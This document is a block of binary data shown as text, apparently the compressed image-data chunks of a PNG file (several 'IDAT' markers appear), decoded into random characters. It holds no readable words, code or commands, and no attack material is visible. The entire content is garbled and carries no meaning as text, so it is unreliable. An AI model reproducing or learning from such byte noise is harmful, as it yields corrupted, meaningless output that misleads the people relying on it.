cl:?bplJՏ-?67c^VR4HY9$۠'r8N| Z[X>2#c%AYћdoM8X>Voc|,96 j1V?I^׎e5'FE1vY&Y[in˟ 0KKj-ZJH&A?V ?VQceܙ)~P n55va#s[qﴌ}Ub>x4\JK[Gl&--^ g& zdEiJC,ԕ3Λojb-#s_.kD --|G&(Dz\Kde _ |r WF͝?o|=b1xA^N2 2gGFdsgr9s**`.l\LG1?lǠ̟K~YJE5\KXt1,Y,w -ٜ9sJJ*Hyd;? ]acs7{.ES-7 D`u;tqRe;\dP[&lAYceѐ.~l?6qd5{ v <dXx1AWiif%l!٬R_u?Fs~EI?K~X` i.w`ɣpdn˷}d#KȲБ1KOA&*S?6Ǡ,p(,~L3od~/Gm\DG@KFI6@2@[oĘ:} X)Y@"|,3P1u41 2+^FA|2ZYA ٬$3Ee]rrh&c3r iP0-31 25YtdzI#YNPl&y2E/+-+~ `1±\RW! HN䘱 BUZA[ii] PO& e%")̘ɺ+M~`֕̏䈑=18A6%=XmL,[UKjȈ#Ky2id} QY:6Baaɖ+|p,?,3g2cܑQWA6 2GfP:Adju9SLr,mI"9 n7 jvqKiiqddYi,7Wx2Օ ur?6`cEc, KXNЄ)JkYA6ɖ\K>2&%qxfY %N:̔qaYcԏeLj! 8A6VdeRMqdFK&*ˬ`\Ŕ͜2xE9c0z61(^UdHn>A22#@@,,WeQ%` , !cu%&+8{ˎÏrLl͈K?k\_l-#Oƃ2V^JS6G6q~r` HYIn+g@fG1Rl:Ce69 d RSfLXXFP/JfЏĜ>+3 hӚd ZZ~#c$caϋ,##-AKR**VC++FAE~~\p1 1]ZNot3n7̰KISePWA=Y@/g\ ~~T1 X1#KcdFUnVuTC2H)YLdFVQFXX~ܩ=J i%7+KF|Gf"8j|B,\Ve!*tgEcģe%1 c!#tݰp|duRN>rdi洟:4Њt1uL ̈́JcɈˡUe@tQݰzȲeYɀaires8Ѝqt{%<ˠ,[dQٴLGd?}dִ;2I22j+B2(fC; `q,;detLGdOe\d!YYX_ Xʏueq,Ǣ, .rאys4Rg?b=eJiRX12KEcdD]L{ 92S#SFk0ڑ (61v9?0 ~LlzRGd^)$S2ڋaFg(I*!'v,ĘgRl:)hJ=L IJ?,ѕ_x  (qُqiM9"2q]rdd/\Q hcSQ1 i! KcddFY̐r"Ű˕܏ɻ]oC84,Aaq_~#3dL%Y@m hX C>|I3Đ K}s7 R$ 9>ve((Ό\<Aŏ jY*r@H~#3t9 Вg\N1Z4N s_5Ȧ!J>td?TYe܋AQ U%T~,!UlGt7'Yiimw/W}f:1YRb,Ul-(]Yz#)[#tvd*˨-q# #΁BIbL,ӣ<Y ) ۍbLj$4RY8ȼ@fc”Q[z2 X4;F׸HfYTz{GWYiOfL(Kc q%g KA2i\@iCVZZ8ŕ1Y,aL,eUc#8>4smȌۖcYTcL,EUUσR27Gf,2a,,4RS^]F"ڐy$ߕ ɰLtXQeS KM5G<6do}di2!d KUU&5OCGf-=@PU.ta| 2{tFiiQUyVV]w}diƸ?2ii#^tRiCXZ,WaZXt}"{*C2 2C'#K Ӛ U{iR[jG51 I'ʇ}di-=Ud\UaR~PϾ+XsgJlӔRXN| 2d݇" ij.&cYy^~.y. dn}( ڎ="?) ގ ?Yh>4Ȧ&lBRzxRdRUu<hmޚ4gY-! ({`Q#c":2#ݒt[+ɯ $>4Ȧ=kn,ML[yZ N|[ZtDcc>4 2-4!c):2Z\z|TdJU Ȁc'dZy"1?6mY'LFˉ,v+ *έ4rL?/&VdidHi1oY-t.=b2MLUMc ii&EڑiMU5OͱI.-AdAUۣIҀdGPv, r ۑii'Ϯ$ѻU Yt #]8qG9a-HLyRN1WXRLyt,X[Ń}ddZ.)m@혓XsG61 KuyA6ҥG]+A%2# W+#=ڎ9ȎSf2M4R[U^tTl9,Ҏ A𨑑=Ic̆eޙYYʻR1G%F1%to~#i<3d#qG%13;]Z4RY%d:wV, 2M4RY2aVEvdid)- HXow#!fYKKY C[`)^ ,!>2Yʓ&90J3;źO@d), M1ŏ2 4 T{ܱ1X tH,u~3.+)L3ʖeEei\{12T,ڊ%ltYYʲ')M8fV PFdPYYI=:(3bLPLQYּپ´c]Z4RU6h?U19RLlML8ɖEE#i˕ѕ8Ĉp!fjɚ46Dž2@d*W,{"☂McxImY|L,M,eꚥb(Ǥ3xmazW,,@iŰ̌2}7U4 UL),9j۶mp|D`(k62SbAd)*+HGW<3` }NI epD f+$tF KMf92P7ˑc#f X`&jYYYʽld`.~W|3`,ֲ#Ό(kDuei܋ȺtXt%ım kGhAl$f f<ѥ%H,5ZD,c(|Lc;v ؎#vuյ r[T[4Ȩ4RSnOb(!p ұ{۳\phP`LK/.-Ad)~=6Th0ͯfe]´Z)ӎ Ar+dѕǠ$~5)ы>A3ƲnWf1eڑ4RR.e#aGd*Q[ IDATؽۉ!;QɳMp@+1Me*ʴ#i\1!C 出`l/'amRMmMM'ge&Wlqe Ariو^h ;۵ 1vPpiF`6rQfL2@d))wBUqrl+]#~ 9Hׯ={O.vfN  ̸Y ]Y6*|8PJFd(w~W<d9?Hw>yسKLee] e,9SAeYArԭ+ 3q1X ;yJcQz{{9eHFSWVG@w*W@fO1f&PJ,J֯{a+VaU6mc땸\ ~`:w>h;fe,-;#"+%:tdOd D]Y*%芯T?8?W=zhWٝ^2H˚*YVԗa9,A0ˌ40R,[²U,iXK7(hοcGyQ#գPmb3_P뗑ZpdO$( WFQArdڐEW\&% cAn1RVwկs5 X2C)K9'o#a瀁bH.T ` ,14RQnt_1dQ; 3۷C>FǺ{?|EصN|XQhCQb2z1Z(G@$QPGxO@2g |i\ѽS7,dN2?{2d2Geτ+S <;I(KS1^ EX0^, ǐi>5ed)(7teU΅M޵ď퀺 KǺύy8ڸ*R_6uP}eLl_ٓ= 0?r,@qgA0h@l?L,3~2 5 A?rX{;ԕc2!gQ` f`['oo̊1TfY]j"{Mq,,ŀ>14d$?4:p:]䦬Iٓ ʞ$2#ƀa9x)*P|e<+lvAzjvaψ~p(zad^\3p sĐu$d56>j}51z9*e,߁90-Q=0b,G@@(K.̂ҕM6Tid]w-,!(,uCv퐓!(  usv!Ș+I,f,0,LWnA.( 1]uA# (D=EmWהc KCz[*6*]Hu,2{0&`1Xet g$ KA2|ᬘ)  ˾KC΅ѕTڄ+# f\(3 ?A/F0YfkFU 2xyi嘎Ȣ(ffk@dc::b2n!y)ʺ<sƲ'f LQ"2??+7_חAdd)7QIď}du76df!;jde]]#ϟ,hZ eR9ď1+&HLml1iƿR"sT%А(),aaeΖvWdeMʐd=+/<@,1eYV(Cep͘;#1pwW&HR,5~G~'92say Y/zaQʆ^8,SFF4Lx3db86`1^Q4*d4RO$ ΋cPXRCj9)+kll4 ]?`[|Xfdč0͘1ql!W̢E3-"9Cg҅F!ތqԩ￿JP|JRa2O&,06wn*@HYw]|d,Gec$ K=iyLi}!;z86r|Lزu!w>u+zƷ7);m/ 9PV-llfҊYs$rgL̒ii%UԥE9U W, e7 &9)*`Zٙww\Oq~seeoQARlRcb%K6K.Y7Y,{HAz#,r̮<$ZQÃ'(Pvի7b)g| c%.$epad%ܓ`aɲ'dd;2C$'YZaVX1cXXs Y ["˟SWFPv 20efsr- geȱEK%ZXLzͪUg d%sʠL!& VR/ȴ#3*B{,e+ð72ey6}{223K`Ŋƈ+.&v/elUDMK̞iVKUUv#u%Š -ח+#(;u"dewO}Py& bD+KiY(]Y2^[f2sP Y j WM_71KҿmMa#/,;~x9IF]Y;;֭[`n8qw?D3=5ecKǠ\fͪRbE!TKFV#UeVtVXiLhm17>j&\u"Deeoq%ls'?^t)Ԕ+WYjUd' diEY094RNUUwdwTYeXK$aȆ 2peBTԩo 3eu9<[B0pq11_ Wr))x8:09 2D3̮VX39B+3ɰޫē8OO$ :(F86ӱwt̄\fΦ)q 3ɼdd);3,>q,KK?&u_ATv"xy±1rتP9RKVa*.bxvVY|Jb 9IS1gj Y1dedBgH}SczNO%=ϐc cW\b)+[m `jLq?,\c%YNgd9fkЋo?Za=,,C ʈ)27ؿ}cr}ۧO'{1(+<%M&Òae)HAqK=RL-X@Ըǒ$& 20enw^Z1.?~g>$#3cdK2J2O-Y <6k{KޥtYS18pSfȬ+w;X )%SFQ{qbNv0Fp;+V`l%W@Vjpb2kiiW㢘 ۛt ~>M{q?jv睯!)b?ڲ`W^\;&"vlyiY(j{uRԖ[F2 2-j3sv k 9>Mq@ypr/I}{XƮ ܾ1v0pݺ($+,,ť?IF HA5m8X2X yzaG2b_^(;|a10;/uclyY(A`ڒ[ @=Y40&9f4dO2؛ܛ lZja. /^D|ҞPt &,V(ť)vd dޑLLkZh| S0f昜 TMp 56.15> ?ؗTc?]c Ib l C?#CLK+Ybcv~,Faqs=1=Y#tԗ__ X}OßZm ށ!K {eq4ȴR_Q,Ƕ%<_#Y+Wܹ|A(vvV:@%exNdY2 2T;Ę Ȥ!S K~23eBĔ$_#F7Ε<kbwW>?''@=LL+ŕ(ꜥphȞRO²q@Fwף)#+w@_W\j0j%le8m%s^ pOiiXz0f1cBNS-V,ѐ;?,::y:aٕ+`þbƈ^v9쬴W!XZr~;BC9YZ2/HAʊc0Lb̖cOwjI ~=<:˗CgZ  @ , -dvJudZ)Xbb cr(,NކynҏM%BƐ 䀲w±VRU&UK6[=.j'Y&:2Ւe{YidZ)KaF;1Ȟ 9{c0#qx̙VW7BC0rAb:7'$ A,#'V**bCˢ-[mݼI ]s-,Ar7JzR` v2=&_7qW,5$Yf!̞fdZ)D0a*Ƅl &Aaykp +7phhx5ԘOGG6GύȐc'3;;ii90!Ɣ|dݴV1dI-Y2Q տ, %%SY ֲefAN d,.h{mOv@{jiX"bV% Xa)V,Ǡl4>tFԀ HVOPH(Fd^aaJ%$382%COeg961QvLlz 2SULBlklm6b1CYL(ƉrUd/SF(fdZ"TEeWP-dLtZ@/4ȴ)EX  Y@v2eodz±!Jevֺ/a929# ."A1 \b7+ʂЛe", c6l'7m~S XVX8r0քcbߐIܳi792B4UKLM1L`,CEXn|4/.kjjC3a0Ǥ۹M1:MˎΡT 1CPk9YaΎ /2iXD)P+3l̂el@ * iiOqr,~!XAc۞Z2uL76aׇ:cH%QvshBew/h3Y'X 몐Ǚʳ -Wg5\Ll'@18f,UE6q fЋn,,& a~fB:ѓM* Jb}Lw- n2+;7/_FQB( j"H$}溔=Ǣ`,яKe$NFXf~6_:1v2I^X|՟ߙe>G QY97TA;ˤp%|Gٔ@,<32R9$zzКSe1+8›EEe~#I$uech~ QFH68L^z;0cfI#YfAo %r0 U!ʀf4dTWUudF##]P) 3[UcȱjK?o=I`~I'|%LIgGWzA+o؊YrYȂ0C/hi1ň1Y;3?㬀Z3$p 6$2 "bF1FY3,)vLmm%޹%%ܲ^;3;1&t^iXaĹIѡc_ܹa:x2\Q9X%%hxBO Yki;:22XѼ*z2ef3QV,1,iMuE@~4Lv1XxgW j,Qcc~c_X&b(9(* 3BO3d!J 8d@ X3;T!' #W `YÞ=d_ddSBUujJ3)K܎bwӝOmO vby',I]I8'ԏ Ĕ'H&X LOo,,,]je2J=^Y0ae]8/jN͈2bS (ӀBlY,iMUGb1A}@aImX˵k-ucv7c/ƈ!`@Dz`ϟc2$cC-l<TĎ#܏ CZ09t4d9d&Y3g[`Feٞ=gʜQA6</ƨ)LMSD:>& îN.|eO {q@gMy kl$?vK??H~!=ϴ>zȣ2O%FJ:_),B"?Yff:2 r u%wcЋ \$X6!C0gV'4|@e" 7/ v (Kkˆv_eD ^x !T>[A& Ǡ`c(`Mt·dOJjf1< `Qe>tUHԕ_6Rhf̹ff98cRm34}] Q 38b~;;X=ؑخ#v0`zPŎxH2Y| X&է a1ǎoep݄d$$SKH Ę,mv^GGb~ Ԑ3?H`,1<(Qրb} IDATLߪ'ƨFXe%/Xz/*̨{d@v8?3Cg ~cǐc F ${bw$#k--]ڱ9V?& Yi:,t%(rⴌW~2,oe@sd*X]486V/*+tڱ-1Tޞݻɍ"e,E\ f0Q>v4Qċ;vѣ8fĘD^J_[[e^e!때cؓJ~aݜLOg]0$+ٜp%V`ɛ7{vA2IAgU%4"88fcۘv 1F"$;( ?ᏇmeB{LCYGaǺC_}Cٳ^>RLUcxLi~ YUMY }c+슕奥Kˉ} Cr;` `(ˊ>?2e$ cbΝ;ar;c{c' ",ۻ{]{#Cp4Ԁth0+;dڟw#Ɇμj yE2h++]%,Qa?^Z2X7lAΩ(' ++,+,$$P,%P,Cq.`$(HAc%q D&/HvI1`סgeef11`? 7O_/:3(-+n@2}l1{)WB>pe*NY7α\|!Kc Ɔ @NQR+x&h`,hagQ}|AeQIA_LjCc6&QWݯۑcc6M hPFH"x|t=O>ǃ F+S?;vcڅCg?{O<}EK;0_^nJ;&8QEFdž1GV@9*4 VMЌJLgq]lʬ$ "=XǨkrPl;FXAD[;L#fvH0!a{$ĈaC;&Rw$Ŝ zw-Ü5Žn~ˆ{42i,fQ^qqeKʀf rf%- o ,({o#_U<0N+Yc{$K/,Cz`6G1wZ٘Տь $ #ZxaJB'*lͻ++KZXv+}pa2Syi"_5_1Y1ǮhZuv8OXw ~ahc@G;6}` Gٮ.Do[[W.va7Hql,i+1JȠ 氆F[ ([Q^ e׬&,#(-5k"n\ܕSԗHAS5'1N#8*amR9F:`;4g]*ۃY/m?$}C>; Kcc3CPV; LdN l8fJK_(9RC"Kz Hyd/θi2(9[d1ՂL,,t.[ۏ%.PZ?x:dYh%ɸ?lJOVP$B A.Cl @>&}cKV32wLb瘦8d=m(RR@x `\PFU|c=v Xm[MSqywFij 3q]ȱzHcE 8,(F#• ɺ$bdܖt=czJ-Œǫ( Ynd>YY$#@b%H2&d!&1IA$3ѧV?N͏k~=w#*QT"nƸS &l!1!N` cVVUeː>c,m/vN2$Yie] lG7jB˫+C 2#%[B d(އ^g0ݲO9QvHVq9FedO﷙_op&&f$1;{lcRkzl~ZX<Br06ߡXb*X%+n;MvŮida80HLdYʧZyH{Ls{+z͓,oH2N. M!._/eXI.V6?O,vHvS\,dr3b'Gٌ+\hJRˤ5إp3ڧUҺgS?D܋:FAj!ss Gc/ c$2$X5F_!ʀdI6< 4D ?w{*X㥕4wl^ dcȸTdl៑dbOVo|0?qƄ.l?[$;{^& Pv5f&I6qŕ`o`f8qhBV=|{I9@:^\:55ezKkIJ70 Is8cc#ۇHUNZNP6Sduu@yWxRMbcVIwLnA!kD2YKdI&PL?uBa@ً?1n(C,&& aoP&0 `Lc888v¤ǰwp%-?8]=BFDKL2{4 8coX3/ PeCb!0Heٹ*,4YgUd !`DzLcBWNaQsEę@eZL h['+Wփ( _c"a>K(;V[ǯ*O&wzF?NM6ް"7K?crPfwrSK%m1R ~'8~w_9.n%ݭXyGB-)9Bq Dh;;o?4bF=ed&zh|C3.'lKڈM{6ڹch;&@q 3!&[i2e ɐd+W~X%P?2)ʄQvH.vk$3$8@6U{8ê!f(H++q#d#=VjN/[ʱWXu[M}+LGY+1L,[CzLplP1b8z0n{M_/dگɤ&$*߰NZZ)嘤ؼ$"$#]0ޕZ $Tه]~([#B8Fz?#T8&'+O;LdfI%& BFV\3[cACg9mwᆷJ(#մyoɱ^o2`,;M )QpblgaN"YZ ʰSqIsCl=WWI{Ln'eQs-昒d$˔MԪKB콏1dY))!1 &]ܟn\FY5~MkE|-['!0l|crk +DY2ܨM 9v 2H6XycCy 8H61:+="W+D`Q(ġ[ /p4._JQ #MK+' Ebdl Mǫ[$[,¥@2H] g(ゲ8uy(dəh@6fS:A%so 5^¤#=ƭ]sĒ#-w;jeb1X_*ǀcC1cuBeizZg2@Y!q,7&/˾>04t4g?6Q\ sZ).ޘ! cx/ hQL"ʄ([{H }~=Na[ 96]Ν;v 5٩~6ߟn,"̦6"L0BE{v1CaS cȱxmlĒ2tH5!ňc tق̘t 2/m;hfwvfNVR%2elɹġ d2v.c"V1}JMH 4ex;%4O,[2e4ن >l=Ma/ > M%U2قleވcYtCb脓cj8-Td{,9Um+9V+#5Ihb31NW1j1j춘36BQ[>doݼ9_A I6N Mc*裠?`LJ1;@F> 5قwWRd_RzI_q 3!¦)gΞMdltQMK M°l^|kK}(3VDy[cݮHnHU֤a9 Y9p2-'=r0V2wrl)d2D,~bHk&?JMMq%ǬSo0$ c,wW$#!ʘd&s݆ }9,%Uz鳆B?Yyi),fōaۣY6}x{g:1 cd+{ ÙRՒCAU}eý&S0ǼN&W>k {lhkc0ۛ+wJaXT2d]u浊dj\^+UZ {l?o wHc! 1($}l5dLHƤ&gQSNj2$A%xM bQ+*fmuiq<[䘴RⰦǪ!5p8!CrCق,ILXb9d{X#p 1L+rQiu{rLx(HkQ.N]¯?߰R$ɵX,2 a?l.+Q H5ÅI>gDxqapry8%KW] EX^mWOř1V=:X %p׊GeK{Zb1X/"SWx_r^x0I3TW2Y.Փ5~kB%HH0[~]pG&=fSt1"{J2Y1_2L/]ll҅KU~lf%?q ~N7Jepsxƺ$NJ9$=֘Hr,H7᏿ӨݥʠCLj2-O]i6eϠ3 I| LXؼ?NQdzz) :.Xl)l5 UL^"ɾ&Њ7$dRNVDI&kɾR `#JVQߕiSdc{LO+i8vǘc؛:xs?ǼN{ W6%&HTi˜ƚlgNduA]AMVd=luni.cԘ)$(E@-F-E}Wrú/(GIwΞIv~钥[$YHMa!*"lv,DL$!Fi1fS̟,mÙ2t1,E^)-Pvw}Kd^z+ydIC9SØ1ޮ=&먻rV OEz"\&8!;ϻ݊ni/yW.u8ES >@9o>Uǒ([`I#ɈdW-1R=]&IvJtg.lA6~_aiejxm$z 9Uyeb^ׂc\71C,CmߒE-܎;߷4Yɼc{'XŵkG[X929蔉J I@2PekgMϕ._+8>j$R}Ivk,jȯ08G,#$(h?qcaVTWW=ޥU!\I4U/YGǧA ].](LJ2\Z{mqM5}ߘ#yjye, LTS2H/eAu!K ION\R) O?"ɰT Rd"+#ladiX-ǂZ.SSM/7e!V|^s" . KK e 5Øǐd[dJ!~{񾓕 نgXN/M~5?U+=5el.旬VpvI2VY-?{sKdtIF>0bB؞ev(M$yd3$cH{׈gE׫8%!&. 9~߉ K('+;;H턴p'( 8Hێ(N]9ԏs f@2i/*Ǯ\3+E l{+$t l(+Iwdk,L&[ڬ׮~TdB1Ǿd +"\Y82cAc6iJ!2ˏi%a'#dY#a24Ȉc%W=F㔲p[LV/) IDAT삲Ke[ AM (O< %h"4dV1 c׮\6ӕcY/j+ǚs5-S٥$ KJ@[}ɎӼ}/OJALXAjﴔdIJ_b,JM_!$tDM)]i9QM5$kB{ mP dbYL&,_cňaïcf\PRd䓝>J-d_^ (z96/U&EM dH2,X%du((:I2*}pي&' 0vFM,K LEO Ѵ)ftQ6He%"rLaL=f1ĘcbrJ21c)Z) OX c9Ʃ}G#l;]n+ߐd 0na~ًs/V^SS( L܁]9qc;&K(6LI~$ d;&MRbݠ  B`~;Xdq-93;{cbM9,VcZ{Xd l0Хf, LcXa0r!h2Pd"Ols?bŵkƎySEB&o\I4Vƾ=m2\aKSo$Kq_m8 0P<]TQWG:XtK |gv( E|mN}ĵSlE1KZ)1c9ri&ǚc%E120s,Y 2cD2zX0++`M&C+gK#X.&[2W, ҿq(v>ga8, I%( EbdXlnǸ $lH6[$YdrR 5Wy8dEvHH/IU*~L3H#?I$%Zcr[1d"$Id[~ӖHIǎw$/l2@~H-w{!fBX |%9J 8#e&K^!Խ@#%:y XrIJC9&1Ar,aVB5cGt8"Ul)E &u<_dQrQ A=Lh2e@ӂe\31cjӦCdrJ[Y@($%r!]o~h޻w/\GRdYrK]ԲcJW{%fa:lʇ%W 'Ӊw@3D2szilv%qlvʞq<[ Ǫ}đc hrXc9> NoN~o_8ZYF Z35l H/y`t2pMG$w PcȰ8.!Q+5nEB&u_|a/cL[$H.&{̪16BA`D]"2A@zP'͛5*Rd1$;Yn |9v]c1? (hnE,C 0 +$V].j|]3 3J+Ǣ8VdB$KgL?x ! &!X?s8e\.~-?d`I#^r[ʐdgeȵ:L`6:GNF$ |DV!Ҳ= Mr9h,qz>*Ћ. wLpZc7?uw|6Nc=]1фLC3|ȾQvHU(Iݸ6R,L+W;dnu138& e[$[r˕+}Ӱ . c18y{d{\#L*ׇ31,UK2,'CTēĩO8rreH2YZn8lv:s95@f+tJ+#Fcj(tMP—`Sdee2muV3ɶNc"C u٦U_j,**Q{p3PH.q˥K=-R\G70\s 2d@q\; !bLcx8az,SZ,Y@Md0u~!Ȭہc66rȱ?hqEc3oAw2!:hǶmϲd=}Y 2Wa<@K 3%`Jl>Pco(ŅHId-?-O[&<}tWW$ 8fAS !oa*S*E„p%eEèe*DL2r,6Mi8fc"LƱDz2Y9J1KJr[$Z 6?[84p珨@}#SKi͘eh)8jϠJSpnlÁ$Ýd~o:, W "㹫._ ${I2d*{ca:~%b&/ԁM0(լczIe6,!YV,$vAbi.t{,9#]~V wB5CZ%^2WyKtɮyye_mXe뷆"cq~%`&bB!̈́X I6%tb^&3|G PdkQICMv.=i{H3TbB FLGahF38(B54"ɰ# mٖ .k:^Dd!.,re7c XL2;␕pЯ,Y8;`El<nd %6A1L~-b2N.W,[@ƹ{܀Y"H$.GI% H&`V 6V`; dqMDR]][Z})|,8{AAiAx"L2ddd±`AcBɱf5YdEtA!Zz[($ Q !+19 !l ivH22Ĉc6~!8g*ǸK2sE${T 2Mk"Jd^8䗇i {K!v"aL0/d%M Ko./ /_D0#Q!K Z lIvc*7N V1SMq8Fi%bL A23$y2dzւ=e2xYK^>}X,"nh9\$[KߧyO@oGϻn"#]̒Li2eu>~ac CL撒` zY*ESxkm[s};|hon% d:^rٞ\{B%ih9 c1qToZ덵1+872YGAfLYf⤝ǔ%LTgRK2e|oFS"'fr̐d"|wŢe[$dĂ"t߸qZPdȱORdDX\pd^id1LC {Uχ)j橩O=C(2$ddY㭌F"%Wie|#s݂bZy)2dO 26۵}mrՒZFűp%%GaQBRaL[5d Vl"[ʕTIZ"{ ֐dO.${% q.Yuu~@Lb0!trƣڣQh5zm/ϣ00HI}Έ*Wz9r,zA&988dw8c!ښ(e@c*:%vYR qYY63,g'C #bM7;,X9o!斟$KJr?i˵(4|'R aN`>iRbMJsId0Sͼ(7x 􌍍 1T7 #+#JN d8gYe*=\~6-#E 1Bd^gRKC.^.,!â~J,AQZ e{C)5y惌$%{s?Cnr|BW < {red[\- ;lb+QYS A.4MwZwnypl9p b! Ydo\2 /#S.ew2X1PB|+cįVV^&Bf#Qa _ܥ[-AOZЧX}Y&SkR}/7A$|[I$[0=ɒhGLCɽ'H!I1)SL0N `;--}Xvr\7]rG D F'd$p(?52ƕX+IRc/Cۋ c# R@wc!ZPOGd\Cmz:aق, /%QYf͇+2i-៥I'e;R1 ")3+1 <5:@kSs n9t:RRत1oy{&eu$:H2-re01ޘLªʋٝC9VVTie=ݘVƲR{䘅bdEVq?^d[d׋" 폍k`YKeul)SaŎJs'$R2*4ԅ6LG"[۶|yɰ;ĄR",SdrzNRЮ6ha &1SNH5 yFJ5PG $'OkIvHogu0J~RlZ0 3~+1\Yq,RNzUdm@n"0 GOa)bBzդ1#f2>i)_rμ9[`Kpq#4@eEve,̰"jvؤ % &3[Bn>i@$E\ K0^>~uծ€X-C \N/RE:̔ Ĝ"׏cE-ߐl"Șc;h2XJ=Fye;p ʀ+cu#NJjZk["Y[[uSyo&q4-dAm1g)X, 3G(* C͛$[TV$ #$YK W&#cW/aa bHWu>Pb$b\F$+(@,Kn&I6" K6Pe2Xxl#Y+, 6[?Yc;Xm2kz,DE8VU0-!\dhGsn2֫F\]0h0x~Rbd*qY`['IVTFb_-HQlo^L,K z%散}X4ǀc5J]W$.%ɮ"{]Fhq#ȶmӭ['W|0__an9g/Xb?"&g6#3@ 8F6lUSxjm~g%VkXbRwcO?qg)#2OPQd4oٙf,Mkl 21*!Fcc8[w?Fi%V]i$mo.r$ EƂ,TO |ɳ IDATƖ&k2$#L2Qg.۔,ދ@&qO<~JZ@0]a>!{1Ģ딘 c1pP˼"[vvfG[!4D4Xf`%l#c"EH+cX=V- Ƙ@YimkMM[qTs^RXdWNȲ̂,{S˷^>ʇ$2> ݑwO$r#j`Nu5fib 1,f_yTO [nu":AfXfcı@LV6̱ѶZ c9JK[kk}NKQ,eN_ls\o  ="cI9,2ɸ"RdI./ppz &7)]^}F0%vn?yTbw[)=}dJ K7,JNKXb={ qpc$Z/JC %Y(ÎF՜ec" Ƕc $-OQ/,-?uHEeMp8[+cy6DMq;8?-6ZL$G4Ӽ%*dZoiYXIeSBewbbYGCsGa%%8}nQ>Vt ǐd81_ Gq1Z,-ͭabج۷DȔI6K,xwfѼe).s"-R;kbMMN_o0ALɎ$!Ȋdny;8@HW, H˽͂,K*AIJcRY&H6~s-(Aw1g)w:KeAZ{dk)يE&-?)HqY@0ZxHqg-r15=L߲jJHvIV effٷNdo1d4cYRF#d1wO|+C9vT1" 1eX,lt/2%zͻ'jX2&<^ i+D dXO,\$)nH2 W/dwXI0$B,AS^,FGErNI6)${ôGd)l {+wcu%1wccp $;JehTA=}qIaŠ J-5^@&͔[Lqy2T(<{Q׍;ļvR2;A"ko>zHqFE3e\ԟ-YYY4 yV:}J\ȱZ=f@1ƢI Kl3|JI8沢($#E`eļ0[e~ ٥e Gvԋ=}ѿb$\RinƒX[K̔[ZI6({a2o!L,ˇ{79Eǎ wLFHMFm7 *py$;eY6{,N57 IXdX(mIYf7bx2!IMMNMA#X&'k Jp9lr#c%-NLXzԑN˽cIr%$9 ~em[ OZsΙ{) IY}^/vq W`L#*AT*2 dI}ACZ@,4,"V?AV>y$ccԵ1WS[ I$+%mPMI9Ǟ:Kee*]bq,~C5[RjeIjٺ#D.㽌䄤C2bQFB G$cEP;tIńqB-Nx#$,s Ҳ}aE{0F 1i[Xea_}&f.#st :OTuP.M"^RmA"*Xx2>Yn1t#'pe,MJM}mQTdd,:ŋrȬae i)˗]=΁u875/5%ӕ_HME#F5㼃=" `AuY|edTsذ%Wd% VI&*>~o./'cEXv"L%84,, ϳ ae2.9<X⎭nZC1a1Ę@Y(*ho&#{ 3K,Ԋ񸍌}Rdc\O/r՟@v[).~ g{"";sœ[jVMB,>@x5T*d\EKJvO_ Ǩ,cmo%s캦 w U4joGp[` 2jr%vPaCfAjN[Rqd1 ;-_HJJ /0E-er$3l2e*l[_H?rXLv 9fdL1cp ,Pj),jzGJMRƼ"˨NRx,guTl|ٻ˖-[t[nX~B.")i /E>qA H2A2;+&ƲՉT=Ed ]Xf-NP23???5Yղ&Sd,Ȍ*2a xYyC&nbamBL("$C+%d1, RcA̰Ȳi%Y@ K%ݖֶG&Óg2E0u(y" 9KI]۷ٖq@E6TIXdVIk[PrȊYEE#2_-M"YXgec6'FYVYol%C4A*3K>D&OfeHv7@ @jL-9f"{n.)E˖-Cdɺ׿ #AV/Nd ~dJPl̈]2=);YvN[T=mgiNn)hA!Lx{P {Hie!6# 1kZѴpQn l^rgVzFG B2Rd' \2$e`:lb 尪6Lt&%P^i1.۾KXYdB~Nee^dcF ˨3v YF_͆nI6j0d,Эu$ Tv?\cFDY^KF 3gqk @uYr/& 2d%am$YR]DdrRNZn65Z7NvI 0VnITI6#AD,MT-rgC3{GY2mrLA> Y3 RdT/~8~>ć؍Cd򆆊ca 3&-#(8\2QOLl ?T bmREo[>ܻ ʢqueqaXp3:LPdr8Td}c#1C)2M%C-d9.,].FQ/<b@j)-pTIgشwH$\K1N_7)YqMPdH2dB=IDYlѣ,1<13q*,>P{_DuwՔ>gI2KriÇowvf#ʐ4 QVu@^ިי 2I`E10+dG-V&jd>{tdTlFR*rTd didlIfv@ òWd/+Ƃ8&'-;Ն8Cl~ltB _L`,P&ۄ2"Y]c ɼ᱁G(Fv"FAMZNDI6+_5$[nCW`f`ЖZN1SƱen)]rβ-4^Eş^68fs32?9т Fs+iZ! y%h<Ľ!n$caW2BYbC`d`ƒ3rJ˰,WjvJjKٚW)p%q4:$]X dhs"âlERcٸ"$?Bc*%Rdaiy``"xcEԆ}/%Ʊ| d8r$BD2X@O_}lDV swEVhoW0kPd#Ӧ-м'A}6l`GZ/ 8 w=7;AaNh.'dei, 8d+bf)KKEu1p]ܒK&L>L(ye!J6UaѾeC@ϋvc"$E^ E6\e1Dˋxm )eA?2刲vMczdj)~]2L(gD($$Y!0fJ,c|*u GV< -2X$c(HCՇb"ҘdؒldK5&zc!1d?q V[G6/^PdnNWmZiKi-M2dXQ`JZt\aA>/Uh*`FU+rPd2Q${hNfaf(y$B+b&i#[SK[.l͵55wz@N #%_JQV(-Ŏ)rfd$s';5CDAg4q(%z^JhƲ# Ӫ >KRKcڒ0\#W)^[ T÷>DRɢJ.L쨱 XBta<Ƴ YP6cI "ˎbcclrfI 5 dD&0w(悒Rdndp%z3HIdPۼHW̄&qŋƒc,u>f-5EI[y-SB$Ja41T]]V݆bsD%%9|0>qڲT-;,_ط* >v_ؒ/f($Ţ痕a8ȈdEH֚ѦrnBYbÄ$[Zʊa6eN;;;$LD:J:[@6OT.R`ÿbnyi ="1B> aK Yo;IȚj^,&avC3&e3dfeF1c cD!~ í.^$in+fv _l c^9si2DYq"YH25$$x+A`%z;$2SŤ\ِZR!l.sn_ Ivr˧I!rIRb(b}-wĪaUPheL2+2e~$+K&I&HT. Uh"lY0f,ƁeVٱH,pv~>'AryR%dڛ(u|.gXQpэ>Ped˖ʀd@de d[fFvZs`+hLBeg AS4E6{(2!H- L2-1n|jG1eT\ 2Ê!Gam0>CD Yj2@^*%IvX,-,7 IiȳDj0 Fh) l &1W"ȰN=a!.ȱ!F+8~+uhizIH󺇻``z<Ue9dTdiicwI I-d~l'u[&rφYK$ӊ[ dJ%#FCê`[kED8T2e0TYK7(2t[m?.%(È22eHǑ=c1aJ/d7Q8:(sz:T$Y k m*K2"PNx) Q!$",;ı1,4, 0fc"^A%P(_ư% ^נ'QWdL4y`;gBBnzQ} 